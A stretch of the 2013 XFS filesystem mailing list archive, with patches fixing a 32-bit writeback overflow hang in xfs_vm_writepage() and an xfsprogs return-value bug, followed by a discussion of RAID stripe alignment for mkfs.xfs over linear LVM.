tests=MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140935 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email From: Jie Liu Write a file with an offset greater than 16TB on 32-bit system and then trigger page write-back via sync(1) as below will cause the task hang in a little while: INFO: task sync:2590 blocked for more than 120 seconds. "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. sync D c1064a28 0 2590 2097 0x00000000 ..... Call Trace: [] ? ttwu_do_wakeup+0x18/0x130 [] ? try_to_wake_up+0x1ce/0x220 [] ? wake_up_process+0x1f/0x40 [] ? wake_up_worker+0x1e/0x30 [] schedule+0x23/0x60 [] schedule_timeout+0x18d/0x1f0 [] ? do_raw_spin_unlock+0x4e/0x90 [] ? __queue_delayed_work+0x91/0x150 [] ? do_raw_spin_lock+0x3f/0x100 [] ? do_raw_spin_unlock+0x4e/0x90 [] wait_for_completion+0x7d/0xc0 [] ? try_to_wake_up+0x220/0x220 [] sync_inodes_sb+0x92/0x180 [] sync_inodes_one_sb+0x15/0x20 [] iterate_supers+0xb8/0xc0 [] ? fdatawrite_one_bdev+0x20/0x20 [] sys_sync+0x31/0x80 [] sysenter_do_call+0x12/0x28 The reason is that the end_index is unsigned long with maximum value '2^32-1=4294967295' on 32-bit platform, and the given offset cause it wrapped to 0, so that the following codes will repeat again and again until the task schedule time out: end_index = offset >> PAGE_CACHE_SHIFT; last_index = (offset - 1) >> PAGE_CACHE_SHIFT; if (page->index >= end_index) { unsigned offset_into_page = offset & (PAGE_CACHE_SIZE - 1); /* * Just skip the page if it is fully outside i_size, e.g. due * to a truncate operation that is in progress. */ if (page->index >= end_index + 1 || offset_into_page == 0) { ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ unlock_page(page); return 0; } To check a page is fully outsids i_size or not, we can change the logic to: if (page->index > end_index || (page->index == end_index && offset_into_page == 0)) Secondly, there still has another similar issue when calculating the end offset for mapping the filesystem blocks to the file blocks for delalloc. With the same tests to above, run unmount(8) will cause kernel panic if CONFIG_XFS_DEBUG is enabled: XFS: Assertion failed: XFS_FORCED_SHUTDOWN(ip->i_mount) || \ ip->i_delayed_blks == 0, file: fs/xfs/xfs_super.c, line: 964 kernel BUG at fs/xfs/xfs_message.c:108! invalid opcode: 0000 [#1] SMP task: edddc100 ti: ec6ee000 task.ti: ec6ee000 EIP: 0060:[] EFLAGS: 00010296 CPU: 1 EIP is at assfail+0x2b/0x30 [xfs] .............. Call Trace: [] xfs_fs_destroy_inode+0x74/0x120 [xfs] [] destroy_inode+0x31/0x50 [] evict+0xef/0x170 [] dispose_list+0x32/0x40 [] evict_inodes+0xca/0xe0 [] generic_shutdown_super+0x46/0xd0 [] kill_block_super+0x29/0x70 [] deactivate_locked_super+0x44/0x70 [] deactivate_super+0x47/0x60 [] mntput_no_expire+0xcd/0x120 [] SyS_umount+0xa8/0x370 [] SyS_oldumount+0x1e/0x20 [] sysenter_do_call+0x12/0x28 That because the end_offset is evaluated to 0 same to above, hence the mapping and covertion for dealloc file blocks to file system blocks did not happened. This patch just fixed both issues. Reported-by: Michael L. Semon Signed-off-by: Jie Liu --- v3: Add code comments to reflect this change. v2: don't reset the s_max_bytes to MAX_LFS_FILESIZE, instead, revise the page offset check up strategy to avoid the potential overflow. v1: http://oss.sgi.com/archives/xfs/2013-07/msg00154.html fs/xfs/xfs_aops.c | 49 +++++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 43 insertions(+), 6 deletions(-) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index e51e581..541c837 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -960,7 +960,32 @@ xfs_vm_writepage( offset = i_size_read(inode); end_index = offset >> PAGE_CACHE_SHIFT; last_index = (offset - 1) >> PAGE_CACHE_SHIFT; - if (page->index >= end_index) { + + /* + * The page index is less than the end_index, adjust the end_offset + * to the highest offset that this page should represent. + * ----------------------------------------------------- + * | file mapping | | + * ----------------------------------------------------- + * | Page ... | Page N-2 | Page N-1 | Page N | | + * ^--------------------------------^----------|-------- + * | desired writeback range | see else | + * ---------------------------------^------------------| + */ + if (page->index < end_index) + end_offset = (xfs_off_t)(page->index + 1) << PAGE_CACHE_SHIFT; + else { + /* + * Check whether the page to write out is beyond or straddles + * i_size or not. + * ------------------------------------------------------- + * | file mapping | | + * ------------------------------------------------------- + * | Page ... | Page N-2 | Page N-1 | Page N | Beyond | + * ^--------------------------------^-----------|--------- + * | | Straddles | + * ---------------------------------^-----------|--------| + */ unsigned offset_into_page = offset & (PAGE_CACHE_SIZE - 1); /* @@ -968,24 +993,36 @@ xfs_vm_writepage( * truncate operation that is in progress. We must redirty the * page so that reclaim stops reclaiming it. Otherwise * xfs_vm_releasepage() is called on it and gets confused. + * + * Note that the end_index is unsigned long, it would cause it + * overflow if the given offset is greater than 16TB on 32-bit + * system if we do check the page is fully outside i_size or not + * via "if (page->index >= end_index + 1)" as "end_idex + 1" + * will be evaluated to 0. Hence this page will be redirtied + * and be written out again and again which would result in + * dead loop, the user program that perform this operation will + * hang. Instead, we can verify this situation by checking if + * the page to write if totally beyond the i_size or if it's + * offset just equal to the EOF. */ - if (page->index >= end_index + 1 || offset_into_page == 0) + if (page->index > end_index || + (page->index == end_index && offset_into_page == 0)) goto redirty; /* * The page straddles i_size. It must be zeroed out on each * and every writepage invocation because it may be mmapped. * "A file is mapped in multiples of the page size. For a file - * that is not a multiple of the page size, the remaining + * that is not a multiple of the page size, the remaining * memory is zeroed when mapped, and writes to that region are * not written out to the file." */ zero_user_segment(page, offset_into_page, PAGE_CACHE_SIZE); + + /* Adjust the end_offset to the end of file */ + end_offset = offset; } - end_offset = min_t(unsigned long long, - (xfs_off_t)(page->index + 1) << PAGE_CACHE_SHIFT, - offset); len = 1 << inode->i_blkbits; bh = head = page_buffers(page); -- 1.7.9.5 From zhong@linux.vnet.ibm.com Thu Sep 26 01:48:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1BA657F55 for ; Thu, 26 Sep 2013 01:48:22 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A5EE2AC001 for ; Wed, 25 Sep 2013 23:48:21 -0700 (PDT) X-ASG-Debug-ID: 1380178098-04bdf02f2114938d0001-NocioJ Received: from e28smtp02.in.ibm.com (e28smtp02.in.ibm.com [122.248.162.2]) by cuda.sgi.com with ESMTP id jVb0Q1OjQH9GJC2F (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 25 Sep 2013 23:48:20 -0700 (PDT) X-Barracuda-Envelope-From: zhong@linux.vnet.ibm.com X-Barracuda-Apparent-Source-IP: 122.248.162.2 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.2] Received: from /spool/local by e28smtp02.in.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted for from ; Thu, 26 Sep 2013 12:18:17 +0530 X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.2] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.2] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.2] X-Barracuda-IPDD: Level2 [linux.vnet.ibm.com/122.248.162.2] Received: from d28dlp02.in.ibm.com (9.184.220.127) by e28smtp02.in.ibm.com (192.168.1.132) with IBM ESMTP SMTP Gateway: Authorized Use Only! Violators will be prosecuted; Thu, 26 Sep 2013 12:18:15 +0530 Received: from d28relay05.in.ibm.com (d28relay05.in.ibm.com [9.184.220.62]) by d28dlp02.in.ibm.com (Postfix) with ESMTP id 166FE394003F for ; Thu, 26 Sep 2013 12:17:59 +0530 (IST) Received: from d28av01.in.ibm.com (d28av01.in.ibm.com [9.184.220.63]) by d28relay05.in.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id r8Q6mCx049152088 for ; Thu, 26 Sep 2013 12:18:12 +0530 Received: from d28av01.in.ibm.com (localhost [127.0.0.1]) by d28av01.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVout) with ESMTP id r8Q6mExt001248 for ; Thu, 26 Sep 2013 12:18:14 +0530 Received: from [9.123.210.162] (thinkpad-t5421.cn.ibm.com [9.123.210.162]) by d28av01.in.ibm.com (8.14.4/8.14.4/NCO v10.0 AVin) with ESMTP id r8Q6mCTF001171 (version=TLSv1/SSLv3 cipher=DHE-RSA-CAMELLIA256-SHA bits=256 verify=NO); Thu, 26 Sep 2013 12:18:13 +0530 Message-ID: <1380178092.2983.14.camel@ThinkPad-T5421> Subject: [PATCH 2/2] xfsprogs: fix return value of verify_set_primary_sb() From: Li Zhong X-ASG-Orig-Subj: [PATCH 2/2] xfsprogs: fix return value of verify_set_primary_sb() To: Eric Sandeen Cc: Mark Tinguely , Chandra Seetharaman , xfsprogs Date: Thu, 26 Sep 2013 14:48:12 +0800 In-Reply-To: <1380177932.2983.11.camel@ThinkPad-T5421> References: <1379829679.4089.2.camel@ThinkPad-T5421> <5241E125.7010902@sgi.com> <1380094327.2526.5.camel@ThinkPad-T5421> <5242F31B.4060902@sandeen.net> <1380177932.2983.11.camel@ThinkPad-T5421> Content-Type: text/plain; charset="UTF-8" X-Mailer: Evolution 3.2.3-0ubuntu6 Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-TM-AS-MML: No X-Content-Scanned: Fidelis XPS MAILER x-cbid: 13092606-5816-0000-0000-00000A1594CB X-Barracuda-Connect: e28smtp02.in.ibm.com[122.248.162.2] X-Barracuda-Start-Time: 1380178099 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 If get_sb() fails because of EOF, it will return with retval 1, which will then be interpreted as XR_BAD_MAGIC("bad magic number") in phase1() when warning the user. This patch fix it by using XR_EOF here, so it would be interpreted correctly. Also change the associated comments about the return value. Signed-off-by: Li Zhong --- repair/sb.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/repair/sb.c b/repair/sb.c index d34d7a2..2e35a4c 100644 --- a/repair/sb.c +++ b/repair/sb.c @@ -665,7 +665,7 @@ get_sb_geometry(fs_geometry_t *geo, xfs_sb_t *sbp) * primary and compare the geometries in the secondaries against * the geometry indicated by the primary. * - * returns 1 if bad, 0 if ok + * returns 0 if ok, else error code (XR_EOF, XR_INSUFF_SEC_SB, etc). */ int verify_set_primary_sb(xfs_sb_t *rsb, @@ -732,7 +732,7 @@ verify_set_primary_sb(xfs_sb_t *rsb, checked[agno] = 1; if (get_sb(sb, off, size, agno) == XR_EOF) { - retval = 1; + retval = XR_EOF; goto out_free_list; } -- 1.8.1.4 From jeff.liu@oracle.com Thu Sep 26 02:36:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5A1B57F52 for ; Thu, 26 Sep 2013 02:36:49 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 43DA18F8039 for ; Thu, 26 Sep 2013 00:36:46 -0700 (PDT) X-ASG-Debug-ID: 1380181004-04cb6c37775dc310001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id SlvxOjFu09EZk0dk (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 26 Sep 2013 00:36:45 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet21.oracle.com (acsinet21.oracle.com [141.146.126.237]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8Q7ahJB029860 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 26 Sep 2013 07:36:44 GMT Received: from userz7022.oracle.com (userz7022.oracle.com [156.151.31.86]) by acsinet21.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8Q7agIG016953 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 26 Sep 2013 07:36:43 GMT Received: from abhmt119.oracle.com (abhmt119.oracle.com [141.146.116.71]) by userz7022.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8Q7ag4v021080 for ; Thu, 26 Sep 2013 07:36:42 GMT Received: from [192.168.1.104] (/123.119.99.55) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Thu, 26 Sep 2013 00:36:41 -0700 Message-ID: <5243E43A.6010101@oracle.com> Date: Thu, 26 Sep 2013 15:37:30 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: Re: [PATCH v3] xfs: fix dead loop at xfs_vm_writepage() on 32bit machine References: <5243D8DE.8090003@oracle.com> X-ASG-Orig-Subj: Re: [PATCH v3] xfs: fix dead loop at xfs_vm_writepage() on 32bit machine In-Reply-To: <5243D8DE.8090003@oracle.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet21.oracle.com [141.146.126.237] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1380181004 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140936 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email On 09/26/2013 02:49 PM, Jeff Liu wrote: > From: Jie Liu > > Write a file with an offset greater than 16TB on 32-bit system and > then trigger page write-back via sync(1) as below will cause the > task hang in a little while: > > INFO: task sync:2590 blocked for more than 120 seconds. > "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. > sync D c1064a28 0 2590 2097 0x00000000 > ..... > Call Trace: > [] ? ttwu_do_wakeup+0x18/0x130 > [] ? try_to_wake_up+0x1ce/0x220 > [] ? wake_up_process+0x1f/0x40 > [] ? wake_up_worker+0x1e/0x30 > [] schedule+0x23/0x60 > [] schedule_timeout+0x18d/0x1f0 > [] ? do_raw_spin_unlock+0x4e/0x90 > [] ? __queue_delayed_work+0x91/0x150 > [] ? do_raw_spin_lock+0x3f/0x100 > [] ? do_raw_spin_unlock+0x4e/0x90 > [] wait_for_completion+0x7d/0xc0 > [] ? try_to_wake_up+0x220/0x220 > [] sync_inodes_sb+0x92/0x180 > [] sync_inodes_one_sb+0x15/0x20 > [] iterate_supers+0xb8/0xc0 > [] ? fdatawrite_one_bdev+0x20/0x20 > [] sys_sync+0x31/0x80 > [] sysenter_do_call+0x12/0x28 > > The reason is that the end_index is unsigned long with maximum value > '2^32-1=4294967295' on 32-bit platform, and the given offset cause it > wrapped to 0, so that the following codes will repeat again and again > until the task schedule time out: > > end_index = offset >> PAGE_CACHE_SHIFT; > last_index = (offset - 1) >> PAGE_CACHE_SHIFT; > if (page->index >= end_index) { > unsigned offset_into_page = offset & (PAGE_CACHE_SIZE - 1); > /* > * Just skip the page if it is fully outside i_size, e.g. due > * to a truncate operation that is in progress. > */ > if (page->index >= end_index + 1 || offset_into_page == 0) { > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > unlock_page(page); > return 0; > } > > To check a page is fully outsids i_size or not, we can change the > logic to: > if (page->index > end_index || > (page->index == end_index && offset_into_page == 0)) > > Secondly, there still has another similar issue when calculating the > end offset for mapping the filesystem blocks to the file blocks for > delalloc. With the same tests to above, run unmount(8) will cause > kernel panic if CONFIG_XFS_DEBUG is enabled: > > XFS: Assertion failed: XFS_FORCED_SHUTDOWN(ip->i_mount) || \ > ip->i_delayed_blks == 0, file: fs/xfs/xfs_super.c, line: 964 > > kernel BUG at fs/xfs/xfs_message.c:108! > invalid opcode: 0000 [#1] SMP > task: edddc100 ti: ec6ee000 task.ti: ec6ee000 > EIP: 0060:[] EFLAGS: 00010296 CPU: 1 > EIP is at assfail+0x2b/0x30 [xfs] > .............. > Call Trace: > [] xfs_fs_destroy_inode+0x74/0x120 [xfs] > [] destroy_inode+0x31/0x50 > [] evict+0xef/0x170 > [] dispose_list+0x32/0x40 > [] evict_inodes+0xca/0xe0 > [] generic_shutdown_super+0x46/0xd0 > [] kill_block_super+0x29/0x70 > [] deactivate_locked_super+0x44/0x70 > [] deactivate_super+0x47/0x60 > [] mntput_no_expire+0xcd/0x120 > [] SyS_umount+0xa8/0x370 > [] SyS_oldumount+0x1e/0x20 > [] sysenter_do_call+0x12/0x28 > > That because the end_offset is evaluated to 0 same to above, hence the > mapping and covertion for dealloc file blocks to file system blocks did > not happened. > > This patch just fixed both issues. > > Reported-by: Michael L. Semon > Signed-off-by: Jie Liu > --- > v3: Add code comments to reflect this change. > v2: don't reset the s_max_bytes to MAX_LFS_FILESIZE, instead, revise the page offset > check up strategy to avoid the potential overflow. > v1: http://oss.sgi.com/archives/xfs/2013-07/msg00154.html > > fs/xfs/xfs_aops.c | 49 +++++++++++++++++++++++++++++++++++++++++++------ > 1 file changed, 43 insertions(+), 6 deletions(-) > > diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c > index e51e581..541c837 100644 > --- a/fs/xfs/xfs_aops.c > +++ b/fs/xfs/xfs_aops.c > @@ -960,7 +960,32 @@ xfs_vm_writepage( > offset = i_size_read(inode); > end_index = offset >> PAGE_CACHE_SHIFT; > last_index = (offset - 1) >> PAGE_CACHE_SHIFT; > - if (page->index >= end_index) { > + > + /* > + * The page index is less than the end_index, adjust the end_offset > + * to the highest offset that this page should represent. > + * ----------------------------------------------------- > + * | file mapping | | > + * ----------------------------------------------------- > + * | Page ... | Page N-2 | Page N-1 | Page N | | > + * ^--------------------------------^----------|-------- > + * | desired writeback range | see else | > + * ---------------------------------^------------------| > + */ > + if (page->index < end_index) > + end_offset = (xfs_off_t)(page->index + 1) << PAGE_CACHE_SHIFT; > + else { > + /* > + * Check whether the page to write out is beyond or straddles > + * i_size or not. > + * ------------------------------------------------------- > + * | file mapping | | > + * ------------------------------------------------------- > + * | Page ... | Page N-2 | Page N-1 | Page N | Beyond | > + * ^--------------------------------^-----------|--------- > + * | | Straddles | > + * ---------------------------------^-----------|--------| > + */ > unsigned offset_into_page = offset & (PAGE_CACHE_SIZE - 1); > > /* > @@ -968,24 +993,36 @@ xfs_vm_writepage( > * truncate operation that is in progress. We must redirty the > * page so that reclaim stops reclaiming it. Otherwise > * xfs_vm_releasepage() is called on it and gets confused. > + * > + * Note that the end_index is unsigned long, it would cause it > + * overflow if the given offset is greater than 16TB on 32-bit > + * system if we do check the page is fully outside i_size or not > + * via "if (page->index >= end_index + 1)" as "end_idex + 1" > + * will be evaluated to 0. Hence this page will be redirtied > + * and be written out again and again which would result in > + * dead loop, the user program that perform this operation will ^^^^^^^^^^^^^ Should I say this is an infinite or endless loop rather than dead loop, although I was intended to comments the same behavior, but someone was kindly reminded me of that the infinite loop is more suitable in English world just now. Thanks, -Jeff > + * hang. Instead, we can verify this situation by checking if > + * the page to write if totally beyond the i_size or if it's > + * offset just equal to the EOF. > */ > - if (page->index >= end_index + 1 || offset_into_page == 0) > + if (page->index > end_index || > + (page->index == end_index && offset_into_page == 0)) > goto redirty; > > /* > * The page straddles i_size. It must be zeroed out on each > * and every writepage invocation because it may be mmapped. > * "A file is mapped in multiples of the page size. For a file > - * that is not a multiple of the page size, the remaining > + * that is not a multiple of the page size, the remaining > * memory is zeroed when mapped, and writes to that region are > * not written out to the file." > */ > zero_user_segment(page, offset_into_page, PAGE_CACHE_SIZE); > + > + /* Adjust the end_offset to the end of file */ > + end_offset = offset; > } > > - end_offset = min_t(unsigned long long, > - (xfs_off_t)(page->index + 1) << PAGE_CACHE_SHIFT, > - offset); > len = 1 << inode->i_blkbits; > > bh = head = page_buffers(page); From stan@hardwarefreak.com Thu Sep 26 03:44:07 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EC4637F5A for ; Thu, 26 Sep 2013 03:44:07 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id D7323304059 for ; Thu, 26 Sep 2013 01:44:07 -0700 (PDT) X-ASG-Debug-ID: 1380185047-04cbb02c3e143cb50001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id fSBR8qfgGhHDexaX for ; Thu, 26 Sep 2013 01:44:07 -0700 (PDT) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id C6E2F6C15C; Thu, 26 Sep 2013 03:44:06 -0500 (CDT) Message-ID: <5243F3DE.3050900@hardwarefreak.com> Date: Thu, 26 Sep 2013 03:44:14 -0500 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:17.0) Gecko/20130801 Thunderbird/17.0.8 MIME-Version: 1.0 To: Dave Chinner CC: Chris Murphy , "xfs@oss.sgi.com" Subject: Re: xfs hardware RAID alignment over linear lvm References: <52435327.9080607@hardwarefreak.com> <2F959FD9-EF28-4495-9D0B-59B93D89C820@colorremedies.com> <20130925215713.GH26872@dastard> X-ASG-Orig-Subj: Re: xfs hardware RAID alignment over linear lvm In-Reply-To: <20130925215713.GH26872@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1380185047 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 9/25/2013 4:57 PM, Dave Chinner wrote: ... > Linear concatentation looks like this: > > offset volume array > 0 +-D1-+-D2-+.....+-Dn-+ 0 # first sw > ..... > X-sw +-D1-+-D2-+.....+-Dn-+ 0 > X +-E1-+-E2-+.....+-En-+ 1 # first sw > ..... > 2X-sw +-E1-+-E2-+.....+-En-+ 1 > 2X +-F1-+-F2-+.....+-Fn-+ 2 # first sw > ..... > 3X-sw +-F1-+-F2-+.....+-Fn-+ 2 > > Where: > D1...Dn are the disks in the first array > E1...En are the disks in the second array > F1...Fn are the disks in the third array > X is the size of the each array > sw = su * number of data disks in array > > As you can see, all the volumes are arranged in a single column - > identical to a larger single array of the same size. Hence the > exposed alignment of a single array is what the filesystem should be > aligned to, as that is how the linear concat behaves. > > You also might note here that if you want the second and subsequent > arrays to be correctly aligned to the initial array in the linear > concat (and you do want that), the arrays must be sized to be an > exact multiple of the stripe width. On a similar note, if I do a concat like this I specify agsize/agcount during mkfs.xfs so no AGs straddle array boundaries. I do this to keep per AG throughput consistent, among other concerns. This may or may not be of benefit to the OP. mkfs.xfs using defaults is not aware of the array boundaries within the concat, so it may well create AGs across array boundaries. -- Stan From stew@messeduphare.co.uk Thu Sep 26 03:55:44 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 422557F5F for ; Thu, 26 Sep 2013 03:55:44 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 2C2AB8F804C for ; Thu, 26 Sep 2013 01:55:41 -0700 (PDT) X-ASG-Debug-ID: 1380185739-04cbb02c3a143d8d0001-NocioJ Received: from mail-ob0-f174.google.com (mail-ob0-f174.google.com [209.85.214.174]) by cuda.sgi.com with ESMTP id oii8Y0j290CGaNc3 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Thu, 26 Sep 2013 01:55:39 -0700 (PDT) X-Barracuda-Envelope-From: stew@messeduphare.co.uk X-Barracuda-Apparent-Source-IP: 209.85.214.174 Received: by mail-ob0-f174.google.com with SMTP id uz6so1488092obc.5 for ; Thu, 26 Sep 2013 01:55:39 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:in-reply-to:references:date :message-id:subject:from:to:cc:content-type; bh=lwuecU3R6lCEbh64iokiuBJ0oammd6Zj41x/6YUS2xg=; b=CDM/tWWVE55S9ep3wZVYj42RsLrFSfT/D8+7+NVnFqn7g3prIv9d7rKHp/2knJCoOK AkMNEVAYFRNcaAF1ryawvl2hFCcGGXS3lWjKv9aifE//H0FBRsa+1jMfPaAA+b5YMhDq FuOfU8i+mI4+qliBLPcJMVVhn9cshHq6OkXoEHyK5Ts4vOD4/lXjx3dcoSJshDYWtgNp s9wUW4dF/u7+uY8OYLrKIZ57319dG6iCMGWanRIrbHZiKRa8s/Uk03Qw4iZNdmJEA0C9 vsTrV5XPHjhNW444mPTpLY3Wt7+j7Y/LlQqWWizIfjud6QxwS2sFWjFDotfvJKJVnGVj 9ypA== X-Gm-Message-State: ALoCoQnt7HhEjMNTL9NNbORG/hl66BUbdpuYSMh3O7S+AqBiMMUktxom9dRtHiWskDeFb+eRwwVU MIME-Version: 1.0 X-Received: by 10.60.174.75 with SMTP id bq11mr34194299oec.17.1380185738906; Thu, 26 Sep 2013 01:55:38 -0700 (PDT) Received: by 10.182.24.74 with HTTP; Thu, 26 Sep 2013 01:55:38 -0700 (PDT) In-Reply-To: <20130925215713.GH26872@dastard> References: <52435327.9080607@hardwarefreak.com> <2F959FD9-EF28-4495-9D0B-59B93D89C820@colorremedies.com> <20130925215713.GH26872@dastard> Date: Thu, 26 Sep 2013 09:55:38 +0100 Message-ID: Subject: Re: xfs hardware RAID alignment over linear lvm From: Stewart Webb X-ASG-Orig-Subj: Re: xfs hardware RAID alignment over linear lvm To: Dave Chinner Cc: Chris Murphy , "xfs@oss.sgi.com" Content-Type: multipart/alternative; boundary=089e01228a48b1255804e74588d6 X-Barracuda-Connect: mail-ob0-f174.google.com[209.85.214.174] X-Barracuda-Start-Time: 1380185739 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140938 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message --089e01228a48b1255804e74588d6 Content-Type: text/plain; charset=ISO-8859-1 Thanks for all this info Stan and Dave, > "Stripe size" is a synonym of XFS sw, which is su * #disks. This is the > amount of data written across the full RAID stripe (excluding parity). The reason I stated Stripe size is because in this instance, I have 3ware RAID controllers, which refer to this value as "Stripe" in their tw_cli software (god bless manufacturers renaming everything) I do, however, have a follow-on question: On other systems, I have similar hardware: 3x Raid Controllers 1 of them has 10 disks as RAID 6 that I would like to add to a logical volume 2 of them have 12 disks as a RAID 6 that I would like to add to the same logical volume All have the same "Stripe" or "Strip Size" of 512 KB So if I where going to make 3 seperate xfs volumes, I would do the following: mkfs.xfs -d su=512k sw=8 /dev/sda mkfs.xfs -d su=512k sw=10 /dev/sdb mkfs.xfs -d su=512k sw=10 /dev/sdc I assume, If I where going to bring them all into 1 logical volume, it would be best placed to have the sw value set to a value that is divisible by both 8 and 10 - in this case 2? Obviously, this is not an ideal situation, and I will most likely modify the 